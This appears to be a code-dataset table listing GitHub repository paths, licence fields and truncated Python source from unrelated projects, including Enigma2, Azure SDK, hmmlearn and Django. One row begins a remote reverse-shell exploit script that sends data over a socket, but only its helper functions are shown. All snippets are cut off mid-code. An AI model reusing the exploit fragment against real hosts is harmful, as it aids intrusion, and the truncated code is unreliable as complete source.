repo_name
stringlengths
5
92
path
stringlengths
4
232
copies
stringclasses
19 values
size
stringlengths
4
7
content
stringlengths
721
1.04M
license
stringclasses
15 values
hash
int64
-9,223,277,421,539,062,000
9,223,102,107B
line_mean
float64
6.51
99.9
line_max
int64
15
997
alpha_frac
float64
0.25
0.97
autogenerated
bool
1 class
BlackHole/enigma2-obh10
lib/python/Components/Converter/EventName.py
2
10098
from enigma import eEPGCache from Components.Converter.Converter import Converter from Components.Element import cached from Components.Converter.genre import getGenreStringSub from Components.config import config from Tools.Directories import resolveFilename, SCOPE_CURRENT_SKIN from time import localtime, mktime, str...
gpl-2.0
6,620,502,956,419,688,000
32.326733
174
0.650426
false
jtraver/dev
python/graphics/graph3.py
1
1381
#!/usr/bin/python # http://mcsp.wartburg.edu/zelle/python/graphics.py from graphics import * SCALE = 10 def test(): win = GraphWin() win.setCoords(0,0,10,10) t = Text(Point(5,5), "Centered Text") t.draw(win) p = Polygon(Point(1,1), Point(5,3), Point(2,7)) p.draw(win) e = Entry(Point(5,6)...
mit
-1,893,172,085,288,062,700
20.246154
57
0.548878
false
tigercomputing/vortex
src/vortex/__init__.py
1
2455
# -*- coding: utf-8 -*- # # Copyright © 2015 Tiger Computing Ltd. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # #...
gpl-3.0
4,379,782,510,870,833,000
36.753846
79
0.737571
false
daxm/fmcapi
fmcapi/api_objects/object_services/dnsservergroups.py
1
2479
"""DNS Server Groups Class.""" from fmcapi.api_objects.apiclasstemplate import APIClassTemplate import logging class DNSServerGroups(APIClassTemplate): """The DNSServerGroups Object in the FMC.""" VALID_JSON_DATA = [ "id", "name", "type", "retries", "timeout", ...
bsd-3-clause
5,905,963,153,461,864,000
32.958904
88
0.519968
false
sigma-random/Win32_Shellcode
C-shellcode/remote_reverse_exploit.py
1
3240
#!/usr/bin/env python from socket import * from struct import * from time import * import sys def L32(val): return pack('<I',val) def ip_value(ip_str): ret = 0x00000000 str_list = ip_str.split('.') for i in xrange(len(str_list)): ret += int(str_list[i])<<(3-i)*8 return ret def exploit(ip,port,data): sockfd = ...
gpl-2.0
4,696,895,885,518,288,000
31.4
104
0.61821
false
Whovian9369/OTPKeySplitter
OTPKeySplitter.py
1
15977
#!/usr/bin/env python3 import os, sys, zlib, binascii import codecs from Crypto.Cipher import AES otpbin = os.path.abspath("otp.bin") if not os.path.exists(otpbin): print("Put the otp.bin into this directory, please!") sys.exit(1) keytxt = open('Keys.txt', 'a') #Thank you Audiosurf for the initial directory cr...
mit
-5,033,038,418,475,891,000
29.374525
174
0.646304
false
demiangomez/Parallel.GAMIT
stacker/pyNEQStack.py
1
6703
""" Project: Parallel.Stacker Date: 6/12/18 10:28 AM Author: Demian D. Gomez """ import dbConnection import pyOptions import argparse import pyETM import pyJobServer import numpy import pyDate from pyDate import Date from tqdm import tqdm import traceback from pprint import pprint import os import numpy as np from sci...
gpl-3.0
-5,775,745,574,475,761,000
27.52766
123
0.556766
false
knz/slcore
slc/tools/slc/mt/mtsparc/asmproc/opc/mtsparc.py
1
38790
# This file was generated by decode.py. Do not edit! # For each instruction the information available is:' # re_parser, input_regs, output_regs, double_regs, long_latency, delayed, extra_phy_inputs, extra_phy_outputs' import re class insn_metadata(object): def __init__(self, info): self.inputs, self.outputs...
gpl-3.0
3,683,968,049,073,578,000
25.209459
183
0.426605
false
LavaLabUSC/application-review
review/settings.py
1
2875
import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/ # SECURITY WARNING: keep th...
mit
4,462,475,505,393,296,000
24.669643
91
0.678609
false
xiang12835/python_web
py2_web2py/web2py/gluon/debug.py
1
5583
#!/usr/bin/env python # -*- coding: utf-8 -*- """ | This file is part of the web2py Web Framework | Developed by Massimo Di Pierro <mdipierro@cs.depaul.edu>, | limodou <limodou@gmail.com> and srackham <srackham@gmail.com>. | License: LGPLv3 (http://www.gnu.org/licenses/lgpl.html) Debugger support classes ------------...
apache-2.0
-3,998,305,188,738,329,600
27.484694
86
0.605409
false
tomsilver/nupic
nupic/support/__init__.py
1
25825
# ---------------------------------------------------------------------- # Numenta Platform for Intelligent Computing (NuPIC) # Copyright (C) 2013, Numenta, Inc. Unless you have an agreement # with Numenta, Inc., for a separate license for this software code, the # following terms and conditions apply: # # This progra...
gpl-3.0
4,127,680,152,068,990,000
33.479306
80
0.6412
false
ozak/BoundedConsumption
scripts/incomeprocs.py
1
2312
#!/usr/bin/env python # coding: utf-8 ''' ====================================================== Author: Ömer Özak, 2013--2014 (ozak at smu.edu) Website: http://omerozak.com GitHub: https://github.com/ozak/BoundedConsumption ====================================================== # This code Computes statistics for th...
gpl-3.0
-6,109,726,453,913,041,000
33.939394
173
0.588031
false
cislaa/prophy
prophy/tests/test_struct.py
1
17273
import prophy import pytest @pytest.fixture(scope = 'session') def Struct(): class Struct(prophy.with_metaclass(prophy.struct_generator, prophy.struct)): _descriptor = [("x", prophy.u32), ("y", prophy.u32)] return Struct @pytest.fixture(scope = 'session') def NestedSt...
mit
5,285,814,586,476,552,000
29.348457
136
0.454698
false
matrix-org/synapse
synapse/crypto/event_signing.py
1
6136
# # Copyright 2014-2016 OpenMarket Ltd # Copyright 2020 The Matrix.org Foundation C.I.C. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #...
apache-2.0
-8,759,924,720,279,790,000
32.530055
88
0.679596
false
hammerlab/pyensembl
pyensembl/sequence_data.py
1
5420
# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under th...
apache-2.0
-3,712,856,413,055,222,300
38.275362
97
0.621402
false
Azure/azure-sdk-for-python
sdk/network/azure-mgmt-network/azure/mgmt/network/v2019_12_01/aio/operations/_ip_groups_operations.py
1
27195
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
mit
-2,391,779,252,557,074,000
48.266304
186
0.639272
false
aubreyli/hmmlearn
hmmlearn/base.py
1
23398
from __future__ import print_function import string import sys from collections import deque import numpy as np from scipy.misc import logsumexp from sklearn.base import BaseEstimator, _pprint from sklearn.utils import check_array, check_random_state from sklearn.utils.validation import check_is_fitted from . import...
bsd-3-clause
8,770,974,257,951,624,000
35.163833
79
0.588298
false
csdms/pymt
tests/framework/test_bmi_ugrid.py
1
5477
"""Unit tests for the pymt.framwork.bmi_ugrid module.""" import numpy as np import xarray as xr from pymt.framework.bmi_ugrid import ( Points, Rectilinear, Scalar, StructuredQuadrilateral, UniformRectilinear, Unstructured, Vector, ) grid_id = 0 class BmiScalar: def grid_type(self, gr...
mit
6,848,835,167,351,887,000
24.957346
73
0.62516
false
wxwilcke/pakbon-ld
src/schema/vocab0102.py
1
10112
#!/usr/bin/python3 import rdflib import helpFunctions as hf import re class Vocabulary0102: def __init__(self, troot, namespace): self.troot = troot self.basens = namespace['base'] + '/voc/' self.nss = namespace self.ns = re.sub(r'(\{.*\})lookup', r'\1', troot.tag) types...
gpl-2.0
2,940,578,772,786,231,300
66.865772
118
0.572488
false
Baymaxteam/SmartHomeDjango
SmartHome/users/migrations/0002_auto_20160129_1459.py
1
1042
# -*- coding: utf-8 -*- # Generated by Django 1.9 on 2016-01-29 06:59 from __future__ import unicode_literals import django.contrib.auth.models import django.core.validators from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0001_initial'), ] ...
bsd-3-clause
-2,031,301,591,925,869,300
36.214286
409
0.619962
false
rackerlabs/deuce-client
deuceclient/tests/test_common_validation_instance.py
1
2263
""" Tests - Deuce Client - Common - Validation - Instances """ import mock from unittest import TestCase from stoplight import validate import deuceclient.api as api import deuceclient.common.validation_instance as val_instance import deuceclient.common.errors as errors from deuceclient.tests import * from deuceclien...
apache-2.0
-2,824,867,123,911,083,500
28.776316
74
0.680071
false
forkbong/qutebrowser
qutebrowser/completion/models/miscmodels.py
1
10499
# vim: ft=python fileencoding=utf-8 sts=4 sw=4 et: # Copyright 2014-2021 Florian Bruhin (The Compiler) <mail@qutebrowser.org> # # This file is part of qutebrowser. # # qutebrowser is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free S...
gpl-3.0
8,726,302,838,719,023,000
33.536184
78
0.622059
false
brynpickering/calliope
calliope/test/test_core_attrdict.py
1
10804
from io import StringIO import os import pytest import numpy as np import tempfile import ruamel.yaml as ruamel_yaml from calliope.core.attrdict import AttrDict, _MISSING from calliope.test.common.util import check_error_or_warning class TestAttrDict: @pytest.fixture def regular_dict(self): d = {'a'...
apache-2.0
3,015,041,769,618,771,500
29.606232
77
0.530452
false
stanzikratel/barbican-2
barbican/model/migration/alembic_migrations/env.py
1
2942
# Copyright (c) 2013-2014 Rackspace, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to ...
apache-2.0
4,279,292,624,011,151,400
28.42
75
0.711421
false
sjjhsjjh/blender-driver
diagnostic/analysis.py
1
3137
#!/usr/bin/python # (c) 2018 Jim Hawkins. MIT licensed, see https://opensource.org/licenses/MIT # Part of Blender Driver, see https://github.com/sjjhsjjh/blender-driver """Python module for the Blender Driver diagnostic. This module contains analytical utilities that are used in some diagnostic and demonstration Blend...
mit
-3,456,444,688,188,179,500
34.247191
78
0.603762
false
jollychang/robotframework-appiumlibrary
AppiumLibrary/keywords/_logging.py
1
1979
# -*- coding: utf-8 -*- import os from robot.libraries.BuiltIn import BuiltIn from robot.libraries.BuiltIn import RobotNotRunningError from robot.api import logger from .keywordgroup import KeywordGroup class _LoggingKeywords(KeywordGroup): LOG_LEVEL_DEBUG = ['DEBUG'] LOG_LEVEL_INFO = ['DEBUG', 'I...
apache-2.0
3,333,785,420,948,168,700
29.412698
88
0.551794
false
hazelcast/hazelcast-python-client
hazelcast/protocol/codec/sql_execute_codec.py
1
2438
from hazelcast.serialization.bits import * from hazelcast.protocol.builtin import FixSizedTypesCodec from hazelcast.protocol.client_message import OutboundMessage, REQUEST_HEADER_SIZE, create_initial_buffer, RESPONSE_HEADER_SIZE from hazelcast.protocol.builtin import StringCodec from hazelcast.protocol.builtin import L...
apache-2.0
9,091,394,537,390,006,000
54.409091
127
0.800656
false
tailhook/amfy
amfy/core.py
1
15667
from io import BytesIO import struct import datetime, time from collections import OrderedDict from weakref import WeakKeyDictionary as weakdict class Undefined(object): __slots__ = () def __new__(cls): return undefined def __eq__(self, other): return self is other def __neq__(self, ...
mit
762,591,521,325,786,100
32.911255
83
0.495117
false
EnvGen/BARM_web_server
migrations/versions/15045c53040_.py
1
4868
"""empty message Revision ID: 15045c53040 Revises: 80bab4f8ff Create Date: 2016-01-07 10:21:05.812275 """ # revision identifiers, used by Alembic. revision = '15045c53040' down_revision = '80bab4f8ff' from alembic import op import sqlalchemy as sa def upgrade(): ### commands auto generated by Alembic - please...
gpl-2.0
-2,371,235,589,855,736,000
40.965517
106
0.658381
false
google-research/world_models
objectives/objectives.py
1
1961
# Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
apache-2.0
5,443,015,263,609,577,000
28.712121
80
0.718001
false
GrognardsFromHell/TemplePlus
tpdatasrc/tpgamefiles/rules/char_class/class014_ranger.py
1
2902
from toee import * import char_class_utils import char_editor ################################################### def GetConditionName(): # used by API return "Ranger" # def GetSpellCasterConditionName(): # return "Ranger Spellcasting" def GetCategory(): return "Core 3.5 Ed Classes" def GetClassDefinitionFlags(...
mit
5,280,413,577,871,603,000
21.858268
300
0.671606
false
openstack/ironic-inspector
ironic_inspector/conductor/manager.py
1
8755
# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the...
apache-2.0
7,348,057,273,560,102,000
36.097458
79
0.615877
false
rafaelnsantos/batfinancas
financas/migrations/0002_caixa_transacao.py
1
1399
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2017-05-30 05:35 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('republica', '0001_initial'), ...
mit
-4,478,321,827,652,335,000
37.861111
138
0.596855
false
Jakeable/Ralybot
plugins/twitch.py
1
3677
import re import html from ralybot import hook from ralybot.util import http twitch_re = re.compile(r'(.*:)//(twitch.tv|www.twitch.tv)(:[0-9]+)?(.*)', re.I) multitwitch_re = re.compile(r'(.*:)//(www.multitwitch.tv|multitwitch.tv)/(.*)', re.I) def test_name(s): valid = set('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijk...
gpl-3.0
7,622,407,225,456,648,000
37.705263
152
0.567038
false
atsaki/ansible-modules-extras
cloud/amazon/ec2_vpc_subnet_facts.py
1
3740
#!/usr/bin/python # # This is a free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This Ansible library is distributed in the hope that i...
gpl-3.0
8,756,107,837,508,010,000
28.92
203
0.666845
false
stelund/bloggagratis_tools
wp_export.py
1
6401
import time import pytz import datetime UTC_TIMEZONE = pytz.timezone('UTC') def format_pubdate(date): # Mon, 02 Nov 2009 08:39:06 +0000 return date.astimezone(UTC_TIMEZONE).strftime(u'%a, %d %b %Y %H:%M:%S %z') def format_isodate(date): # 2009-11-02 09:39:06 return date.strftime(u'%Y-%m-%d %H:%M:%S'...
bsd-3-clause
-5,936,456,404,222,159,000
35.369318
196
0.582253
false
gabrielmueller/aljebra-topo
src/backend_parkincpp/parkincppbackend.py
1
53170
from collections import OrderedDict import logging import math, time, sys import libsbml from basics.logging.stdoutwrapper import StdOutWrapper import backend from backend.basebackend import BaseBackend from backend.exceptions import InitError from backend import settingsandvalues import datamanagement.entitydata from ...
lgpl-3.0
6,877,674,015,434,271,000
44.678694
192
0.643596
false
iw3hxn/LibrERP
task_expired_information/model/task.py
1
5561
#!/usr/local/bin/python # -*- coding: utf-8 -*- # # # OpenERP, Open Source Management Solution # Copyright (C) 2016 Didotech SRL # # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation...
agpl-3.0
1,825,388,067,127,048,000
48.651786
163
0.579392
false
jkakavas/creepy
creepy/models/ProjectWizardPossibleTargetsTable.py
1
3572
#!/usr/bin/python # -*- coding: utf-8 -*- from PyQt4.QtCore import QVariant, QAbstractTableModel, Qt from PyQt4.Qt import QPixmap, QIcon, QMimeData, QByteArray, QDataStream, QIODevice import os from utilities import GeneralUtilities class ProjectWizardPossibleTargetsTable(QAbstractTableModel): def __init__(self, ...
gpl-3.0
-1,807,698,924,184,300,300
39.602273
111
0.555431
false
fyookball/electrum
gui/qt/request_list.py
1
7117
#!/usr/bin/env python3 # # Electrum - lightweight Bitcoin client # Copyright (C) 2015 Thomas Voegtlin # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including withou...
mit
-1,929,781,626,192,813,300
43.761006
163
0.642968
false
tobi-wan-kenobi/bumblebee-status
bumblebee_status/modules/contrib/thunderbird.py
1
2547
# pylint: disable=C0111,R0903 """ Displays the unread emails count for one or more Thunderbird inboxes Parameters: * thunderbird.home: Absolute path of your .thunderbird directory (e.g.: /home/pi/.thunderbird) * thunderbird.inboxes: Comma separated values for all MSF inboxes and their parent directory (accoun...
mit
-1,776,329,110,352,044,500
27.617978
170
0.566549
false
00krishna-research/py_university_gender_dynamics_pkg
tests/test_pyugend.py
1
8479
import pytest from models.Models import Base_model from models.Basic_stochastic_model import Basic_stochastic_model from models.Stochastic_model_with_promotion import Stochastic_model_with_promotion from models.Replication_model import Replication_model from models.Stochastic_model_with_promotion_and_first_hiring impor...
mit
-7,201,322,699,936,751,000
36.522124
116
0.638047
false
conda/kapsel
conda_kapsel/verbose.py
1
1279
# -*- coding: utf-8 -*- # ---------------------------------------------------------------------------- # Copyright © 2016, Continuum Analytics, Inc. All rights reserved. # # The full license is in the file LICENSE.txt, distributed with this software. # -------------------------------------------------------------------...
bsd-3-clause
-7,881,255,207,816,083,000
27.4
82
0.593114
false
pika/pika
tests/unit/connection_tests.py
1
41689
""" Tests for pika.connection.Connection """ # Suppress pylint warnings concerning access to protected member # pylint: disable=W0212 # Suppress pylint messages concerning missing docstrings # pylint: disable=C0111 # Suppress pylint messages concerning invalid method name # pylint: disable=C0103 try: import mo...
bsd-3-clause
6,070,957,001,528,510,000
40.98288
110
0.647197
false
aljim/deploymentmanager-samples
community/cloud-foundation/templates/cloud_function/cloud_function.py
1
6561
# Copyright 2018 Google Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
apache-2.0
2,122,977,178,188,396,800
31.969849
81
0.636336
false
suyashphadtare/test
erpnext/accounts/report/accounts_payable/accounts_payable.py
1
5975
# Copyright (c) 2013, Web Notes Technologies Pvt. Ltd. and Contributors # License: GNU General Public License v3. See license.txt from __future__ import unicode_literals import frappe from frappe.utils import getdate, nowdate, flt, cstr from frappe import msgprint, _ from erpnext.accounts.report.accounts_receivable.ac...
agpl-3.0
-4,593,431,470,045,977,000
39.646259
144
0.671967
false
dobbinx3/pythonScripts
digital_differential_analyzer.py
1
1758
import sys import math print("Welcome to the DDA's algorithm.") print("\nLet's begin setting the size of the matrix.\n") columns = int(input("How many columns does the matrix have?\n")) lines = int(input("How many lines does the matrix have?\n")) print("\nNow let's set the coordinates of two points, so we can draw ...
mit
-3,734,755,985,305,867,300
24.852941
103
0.661547
false
zachjanicki/osf.io
website/routes.py
1
51186
# -*- coding: utf-8 -*- import os import httplib as http from flask import request from flask import send_from_directory from framework import status from framework import sentry from framework.auth import cas from framework.routing import Rule from framework.flask import redirect from framework.routing import WebRen...
apache-2.0
-6,358,533,792,708,472,000
30.363971
139
0.503575
false
mistakes-consortium/igng
images/migrations/0003_auto_20141207_1907.py
1
1867
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('images', '0002_auto_20141201_0515'), ] operations = [ migrations.CreateModel( name='EXIFEntry', fiel...
bsd-3-clause
8,179,612,341,216,877,000
29.606557
114
0.50616
false
jonashagstedt/django-jsx
django_jsx/templatetags/djangojs.py
1
1185
from django import template from django.conf import settings from django_jsx.template.backend import JsTemplate from django_jsx.template.loaders import JsLoader register = template.Library() loader = JsLoader(engine=None) class JsMissingTemplateDirException(Exception): pass def _get_template_dirs(): for t ...
bsd-3-clause
-1,721,959,321,510,596,600
29.384615
87
0.729114
false
Tinche/cattrs
src/cattr/preconf/ujson.py
1
1075
"""Preconfigured converters for ujson.""" from base64 import b85decode, b85encode from datetime import datetime from .._compat import Set from ..converters import Converter, GenConverter def configure_converter(converter: Converter): """ Configure the converter for use with the ujson library. * bytes ar...
mit
-6,053,782,135,831,855,000
28.861111
74
0.689302
false
bowen0701/algorithms_data_structures
lc0695_max_area_of_island.py
1
4625
"""Leetcode 695. Max Area of Island Medium URL: https://leetcode.com/problems/max-area-of-island/ Given a non-empty 2D array grid of 0's and 1's, an island is a group of 1's (representing land) connected 4-directionally (horizontal or vertical.) You may assume all four edges of the grid are surrounded by water. Find...
bsd-2-clause
-5,161,163,467,805,236,000
27.20122
75
0.48627
false
MaxTyutyunnikov/lino
lino/core/kernel.py
1
12433
# -*- coding: UTF-8 -*- ## Copyright 2009-2013 Luc Saffre ## This file is part of the Lino project. ## Lino is free software; you can redistribute it and/or modify ## it under the terms of the GNU General Public License as published by ## the Free Software Foundation; either version 3 of the License, or ## (at y...
gpl-3.0
7,710,695,352,416,538,000
34.567647
121
0.588193
false
croscon/fleaker
fleaker/marshmallow/fields/foreign_key.py
1
2218
# ~*~ coding: utf-8 ~*~ """Module that defines a Marshmallow field for Peewee's foreign keys.""" from marshmallow import fields from .mixin import FleakerFieldMixin class ForeignKeyField(fields.Integer, FleakerFieldMixin): """Marshmallow field that can be used with Peewee's foreign key setup. Turns a field...
bsd-3-clause
-3,171,669,109,654,031,000
37.241379
79
0.638413
false
btbonval/DieStatistician
XdY.py
1
5433
''' Bryan Bonvallet 2009 XdY is standard nomenclature for taking X dice with Y faces, rolling them all, and adding the result. 'd' represents dice. The class XdY is defined to create a probability mass function for the result of rolling and adding X dice with Y faces. ''' from PMF import * class XdY(PMF,FiniteSequ...
mit
8,488,510,294,593,417,000
34.279221
103
0.652678
false
nsgomez/FBGroupCommentCounter
prettyprint.py
1
1091
colorAvailable = False loglevel_colors = None verbose = False try: import colorama from colorama import Fore colorama.init() loglevel_colors = [Fore.RED, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA] colorAvailable = True except: pass loglevel_sz = ["[!!]", "[??]", "[ii]", "[vv]"] class Logging: ...
mit
-8,068,261,839,044,515,000
16.046875
70
0.633364
false
WaveBlocks/WaveBlocksND
WaveBlocksND/HyperCubicShape.py
1
9987
"""The WaveBlocks Project This file contains the class for representing the hypercubic basis shape which is the full dense basis set. @author: R. Bourquin @copyright: Copyright (C) 2012, 2013, 2014, 2015 R. Bourquin @license: Modified BSD License """ from numpy import array, eye, vstack, integer from WaveBlocksND.B...
bsd-3-clause
7,798,054,498,354,863,000
32.29
115
0.542105
false
stvstnfrd/edx-platform
lms/djangoapps/grades/models.py
1
30802
""" Models used for robust grading. Robust grading allows student scores to be saved per-subsection independent of any changes that may occur to the course after the score is achieved. We also persist students' course-level grades, and update them whenever a student's score or the course grading policy changes. As the...
agpl-3.0
-3,658,550,487,341,594,600
39.002597
145
0.635218
false
josephnavarro/kanji-radical-reading
constant.py
1
3287
#!usr/bin/env python import os ## Constants ## Constant values used in other files TITLE = "Kanji by Radical" ## Window caption SIZE = W,H = 800,600 ## Screen size SMALL = W*2//3, H*2//3 ## Small screen FPS = 60 ## Screen refresh rate FONTSIZE = 108...
mit
3,822,552,664,235,857,400
26.165289
75
0.613021
false
manologomez/Vulcano
support/calculo_redes.py
1
2923
# -*- coding: utf-8 -*- import sys import re import clr from utilidades import * from System import DateTime, Guid from Vulcano.Engine import *#RepoGeneral, AppNotifier from Vulcano.App import * def evaluar_script(code, val, _data): data = _data hoy = DateTime.Now return eval(code) def match_valor(var, valor, da...
mit
8,565,035,509,269,657,000
24.867257
64
0.656175
false
meejah/AutobahnPython
autobahn/websocket/util.py
1
5373
############################################################################### # # The MIT License (MIT) # # Copyright (c) Tavendo GmbH # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software with...
mit
3,172,701,543,002,705,000
34.582781
116
0.647869
false
iemejia/incubator-beam
sdks/python/apache_beam/dataframe/convert_test.py
1
2180
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
apache-2.0
-7,303,798,384,914,836,000
33.0625
75
0.672018
false
googleads/google-ads-python
google/ads/googleads/v7/services/services/customer_client_service/transports/grpc.py
1
10383
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
apache-2.0
3,458,914,125,503,089,000
40.866935
94
0.605894
false
NerdsvilleCEO/elections
tests/test_flask_simple_voting.py
1
9190
#!/usr/bin/python # -*- coding: utf-8 -*- """ (c) 2014 - Copyright Pierre-Yves Chibon Author: Pierre-Yves Chibon <pingou@pingoured.fr> # This copyrighted material is made available to anyone wishing to use, modify, # copy, or redistribute it subject to the terms and conditions of the GNU # General Public License v....
gpl-2.0
9,100,632,720,071,178,000
35.613546
79
0.54124
false
Cesar0510/lbzproject
lbzproject/settings/base.py
1
3224
""" Django settings for lbzproject project. Generated by 'django-admin startproject' using Django 1.11. For more information on this file, see https://docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings/ """ import o...
apache-2.0
-665,079,409,604,450,000
25.211382
91
0.688275
false
manue1/connectivity-manager-agent
cm-agent/wsgi/application.py
1
3443
# Copyright 2015 Technische Universitaet Berlin # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unle...
apache-2.0
7,927,272,825,957,574,000
26.99187
115
0.636945
false
plagree/TOPKS
test/yelp/TOPZIP/script.py
1
2180
#!/usr/bin/env python #-*-coding: utf-8 -*- import urllib2 import json import numpy as np import sys import cPickle as pickle TITLE = r'\textbf{Yelp social network}' N = 100 # Number of queries for averaging DOMAIN = 'http://localhost:8000/topks' SUPERNODES = False MAPPING = dict() T = 2000 NEW_QUERY = True N_NE...
gpl-3.0
8,087,897,326,729,252,000
27.311688
79
0.490826
false
CCrypto/ccvpn3
ccvpn/settings.py
1
7026
""" Django settings for ccvpn project. Generated by 'django-admin startproject' using Django 1.8. For more information on this file, see https://docs.djangoproject.com/en/1.8/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.8/ref/settings/ """ # Build paths in...
mit
-5,602,495,552,386,245,000
26
129
0.67265
false
nccgroup/Mortimer
importgoogle.py
1
5412
#!/usr/bin/python # A collection of scripts for processing network forensics type data and intel, mainly into a postgres database. # # Released as open source by NCC Group Plc - http://www.nccgroup.com/ # # Developed for John Green, cirt at nccgroup dot com # # https://github.com/nccgroup/mortimer # # Released under A...
agpl-3.0
2,277,434,971,933,669,600
24.771429
170
0.642831
false
laanwj/deluge
win32/deluge-bbfreeze.py
1
2368
build_version = "1.3.1" python_path = "C:\\Python26\\" import os, glob import shutil shutil.copy(python_path + "Scripts\deluge-script.pyw", python_path + "Scripts\deluge.py") shutil.copy(python_path + "Scripts\deluge-script.pyw", python_path + "Scripts\deluge-debug.py") shutil.copy(python_path + "Scripts\deluged-scrip...
gpl-3.0
-6,369,595,552,446,803,000
51.622222
268
0.711993
false
GoogleCloudPlatform/datacatalog-connectors
google-datacatalog-connectors-commons/src/google/datacatalog_connectors/commons/monitoring/metrics_processor.py
1
2132
#!/usr/bin/python # # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ag...
apache-2.0
-4,256,730,824,790,819,000
35.758621
76
0.651501
false
MattRijk/ebook_site
books/migrations/0011_auto_20160422_1235.py
1
1050
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('books', '0010_auto_20160422_1158'), ] operations = [ migrations.AddField( model_name='bookhasautho...
mit
-7,376,450,695,064,534,000
28.882353
108
0.55619
false
luzfcb/cookiecutter
tests/test_specify_output_dir.py
1
1852
# -*- coding: utf-8 -*- """Tests for cookiecutter's output directory customization feature.""" import pytest from cookiecutter import main @pytest.fixture def context(): """Fixture to return a valid context as known from a cookiecutter.json.""" return { u'cookiecutter': { u'email': u'ra...
bsd-3-clause
4,489,060,777,101,034,000
23.693333
78
0.671166
false
willrp/willbuyer
backend/tests/functional/api/cart/test_order.py
1
1226
import requests from backend.util.response.error import ErrorSchema def test_order(domain_url, auth_session, es_create, willorders_ws_db_session): prod_list = es_create("products", 2) item_id = prod_list[0].meta["id"] item_id2 = prod_list[1].meta["id"] auth_session.post( domain_url + "/api/c...
mit
-2,006,155,102,493,854,700
23.52
78
0.628059
false
RegulatoryGenomicsUPF/pyicoteo
pyicoteolib/enrichment.py
1
40209
""" Pyicoteo is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY...
gpl-3.0
5,883,346,573,406,230,000
46.64218
418
0.583999
false
lyijin/working_with_dna_meth
parse_gff3.py
1
8333
#!/usr/bin/env python3 """ > parse_gff3.py < Python script intends to be a helper function that can be called by other scripts to handle gff annotations. Script requires a _file object_ (not filename). The output is in the form of: dict[seqid] = {five_prime_UTR: {ID001: (start_coord1, end_coord1), ...} ...
gpl-3.0
4,050,465,350,289,512,000
37.762791
85
0.572663
false
tardis-sn/tardis
tardis/plasma/properties/nlte.py
1
10502
import logging import os import numpy as np import pandas as pd from tardis.plasma.properties.base import ( PreviousIterationProperty, ProcessingPlasmaProperty, ) from tardis.plasma.properties.ion_population import PhiSahaNebular __all__ = [ "PreviousElectronDensities", "PreviousBetaSobolev", "He...
bsd-3-clause
-4,974,188,119,503,110,000
32.552716
113
0.541516
false
mkodekar/Fennece-Browser
base/widget/themed/generate_themed_views.py
1
2374
